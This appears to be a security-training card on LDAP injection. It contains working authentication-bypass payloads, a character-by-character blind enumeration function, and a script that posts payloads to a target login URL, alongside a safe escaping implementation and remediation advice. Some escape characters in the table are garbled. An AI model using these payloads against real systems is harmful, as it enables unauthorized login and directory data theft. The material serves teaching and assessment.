LDAP Injection: Filter String Manipulation for Authentication Bypass and Directory Enumeration
Theory
Security Assessment Methodology
Lightweight Directory Access Protocol (LDAP) is used by enterprise applications for authentication and directory lookup. When an application constructs LDAP search filters by concatenating user-supplied input without escaping, an attacker can modify the filter logic — bypassing authentication, enumerating directory attributes, or extracting sensitive data.
LDAP filter syntax (RFC 4515). A filter is a parenthesised expression:
(attribute=value) # simple equality
(&(attr1=val1)(attr2=val2)) # AND of two conditions
(|(attr1=val1)(attr2=val2)) # OR of two conditions
(!(attr=val)) # NOT
(attr=*) # presence (attribute exists)
(attr=prefix*) # substring match
Wildcard * is the primary injection character; parentheses () and boolean operators & | ! are the structural characters.
Authentication bypass pattern. A vulnerable login filter:
(&(uid=USER)(userPassword=PASS))
If USER is *)(uid=*))(|(uid=* the filter becomes:
(&(uid=*)(uid=*))(|(uid=*)(userPassword=PASS))
The first subfilter (&(uid=*)(uid=*)) is always true for any existing user, and since the server evaluates it as the authentication condition, authentication succeeds without a valid password. The exact bypass depends on the LDAP library and server implementation — some close unclosed parentheses differently. Test several variants:
*)(uid=*))(|(uid=*— classic*— simple wildcard (requires filter(uid=*USER*)form)admin)(&)— close current filter and append always-true
Blind LDAP injection: attribute enumeration. When the application returns only a boolean result (login success/failure), inject boolean-based probes:
(uid=admin)(description=a*) -> TRUE if admin's description starts with "a"
(uid=admin)(description=b*) -> FALSE if description starts with "b"
By iterating through characters and positions, enumerate any attribute's value character by character. This technique applies to any attribute the directory permits reading: mail, telephoneNumber, userPassword (if stored in cleartext or reversibly encrypted), custom attributes.
LDAP special characters requiring escape (RFC 4515):
* -> 2a ( -> 28 ) -> 29
-> 5c NUL -> 0
Properly escaped, these characters become literal values rather than filter metacharacters.
Technical Deep-Dive
from ldap3 import Server, Connection, ALL, SUBTREE
def ldap_login_vulnerable(username: str, password: str) -> bool:
"""Vulnerable implementation — demonstrates the injection point."""
server = Server("ldap://localhost", get_info=ALL)
conn = Connection(server, auto_bind=True)
# VULNERABLE: direct string interpolation
ldap_filter = f"(&(uid={username})(userPassword={password}))"
conn.search("dc=example,dc=com", ldap_filter, SUBTREE)
return len(conn.entries) > 0
def ldap_login_safe(username: str, password: str) -> bool:
"""Safe implementation — uses ldap3 escape_filter_chars."""
from ldap3.utils.conv import escape_filter_chars
server = Server("ldap://localhost", get_info=ALL)
conn = Connection(server, auto_bind=True)
# SAFE: escape metacharacters before interpolation
safe_user = escape_filter_chars(username)
safe_pass = escape_filter_chars(password)
ldap_filter = f"(&(uid={safe_user})(userPassword={safe_pass}))"
conn.search("dc=example,dc=com", ldap_filter, SUBTREE)
return len(conn.entries) > 0
def blind_ldap_enum_attribute(
conn: Connection,
base_dn: str,
target_uid: str,
attribute: str,
charset: str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_-!@#",
max_len: int = 64,
) -> str:
"""
Enumerate an LDAP attribute value character by character via boolean injection.
Assumes the application reflects whether conn.search returns results.
"""
discovered = ""
for pos in range(max_len):
found_char = False
for ch in charset:
probe = f"(&(uid={target_uid})({attribute}={discovered}{ch}*))"
conn.search(base_dn, probe, SUBTREE)
if conn.entries:
discovered += ch
found_char = True
break
if not found_char:
break
return discovered
# Auth bypass payloads to test manually
AUTH_BYPASS_PAYLOADS = [
"*)(uid=*))(|(uid=*", # classic bypass, closes AND, adds OR always-true
"*", # wildcard — works if filter is (uid=USER)
"admin)(&)", # append always-true AND
"*))(|(objectClass=*", # alternate close + OR
"*)(|(password=*)", # inject OR on password attribute
]
import requests
def test_ldap_auth_bypass(login_url: str, user_field: str = "username", pass_field: str = "password"):
for payload in AUTH_BYPASS_PAYLOADS:
resp = requests.post(login_url, data={
user_field: payload,
pass_field: "invalid_password_xyz",
}, allow_redirects=False, timeout=10)
# A redirect (302) or session cookie in response typically indicates login success
if resp.status_code in (302, 200) and "dashboard" in resp.text.lower():
print(f"[+] BYPASS with: {repr(payload)}")
else:
print(f"[-] No bypass: {repr(payload)} -> {resp.status_code}")
# Automated LDAP injection testing with ldap-injection scanner
# (or use Burp Suite's active scanner with LDAP injection checks enabled)
# Manual test: inject wildcard into username field and observe response
curl -s -X POST https://target.example.com/login
-d "username=*&password=anything" | grep -i "welcome|invalid|error"
# ldapsearch: verify directory structure (requires direct LDAP access or internal pivot)
ldapsearch -x -H ldap://localhost -b "dc=example,dc=com"
-D "cn=admin,dc=example,dc=com" -w adminpass
"(objectClass=inetOrgPerson)" uid mail description
# Python ldap3: enumerate all users from injection-accessible bind
python3 -c "
from ldap3 import Server, Connection, ALL, SUBTREE
s = Server('ldap://localhost', get_info=ALL)
c = Connection(s, auto_bind=True)
c.search('dc=example,dc=com', '(objectClass=inetOrgPerson)', SUBTREE, attributes=['uid','mail','description'])
for e in c.entries: print(e)
"
Common Assessment Errors
1. Testing only the username field. Password fields, search query fields, and any parameter that populates an LDAP filter are also injectable. Test all input fields that appear to perform directory lookups, not just username.
2. Using SQL injection payloads. SQL metacharacters (', --, ;) have no special meaning in LDAP filters. The relevant metacharacters are *, (, ), ``, and NUL. Using SQL payloads produces errors that look like injection failures when LDAP injection is in fact possible.
3. Not accounting for LDAP server differences. OpenLDAP, Active Directory, and 389 Directory Server handle malformed filters differently. A bypass that works on OpenLDAP (which is permissive about unclosed parentheses) may fail on Active Directory (which is strict). Test multiple filter structures and account for server type.
4. Stopping at authentication bypass. LDAP injection that achieves login bypass is only the first impact. If the same injection point is used for user data retrieval (e.g., a profile page that searches by username), it may also allow enumerating other users' attributes. Always assess the full scope of the injectable filter.
5. Missing blind injection opportunities. Applications that show only "login failed" / "login succeeded" responses are vulnerable to blind enumeration. A systematic character-by-character approach can extract attribute values from any object in the directory tree reachable by the bound DN, including password hashes or custom sensitive attributes.
6. Recommending only input sanitisation. The correct remediation is parameterised LDAP queries using the library's native escaping function (escape_filter_chars in ldap3, ldap_escape_filter_element in PHP's LDAP extension). Recommending custom regex-based filtering is insufficient and often bypassable; always specify the authoritative escaping API.
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.